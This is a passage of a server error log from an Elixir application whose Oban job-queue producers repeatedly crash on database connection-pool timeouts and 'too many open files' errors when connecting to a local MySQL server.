State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:12:45.246563Z], limit: 3, uuid: "1275cd17-7ab5-43ad-99fc-ad4e5da7c67a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:45.246569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111203>, refresh_timer: #Reference<0.2525715032.1099431938.10125>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:12:45.239326Z], limit: 50, uuid: "7be9600b-017f-47e5-a6f0-5323b45bbf8f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:45.239335Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111202>, refresh_timer: #Reference<0.2525715032.1121189889.111186>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:12:45.243875Z], limit: 5, uuid: "5e6cd031-3a20-49e3-bfb0-1c77bb4e1a8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:45.243880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111204>, refresh_timer: #Reference<0.2525715032.1077411843.241156>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:12:45.244018Z], limit: 5, uuid: "58b4d9fc-dd67-4735-b7b9-34ce1d365951", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:45.244024Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.259841>, refresh_timer: #Reference<0.2525715032.1077411843.241158>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:12:58.615000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:00.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:03.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:12:51.237425Z], limit: 10, uuid: "4b129f27-28cb-4612-a0bc-6c27518c4c5b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:51.237432Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260027>, refresh_timer: #Reference<0.2525715032.1077411843.241200>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:04.742000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:07.628000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:09.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:12:57.241080Z], limit: 20, uuid: "6892aacc-f5ca-49b4-8b35-1a53f41e3f95", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:57.241086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241279>, refresh_timer: #Reference<0.2525715032.1077411843.241273>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:09.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:12:57.240444Z], limit: 50, uuid: "3a3700b3-4389-47da-b695-9d23c766d1a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:57.240450Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241281>, refresh_timer: #Reference<0.2525715032.1099431938.10313>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:12:57.241175Z], limit: 5, uuid: "add3e8f6-f73f-4fc0-a904-6aba5777e667", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:57.241180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.260230>, refresh_timer: #Reference<0.2525715032.1099431938.10332>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:09.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:12:57.239397Z], limit: 3, uuid: "c7fd5b40-62b5-4f3a-91ae-3862c2d44b55", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:12:57.239405Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241282>, refresh_timer: #Reference<0.2525715032.1099431938.10311>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:09.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
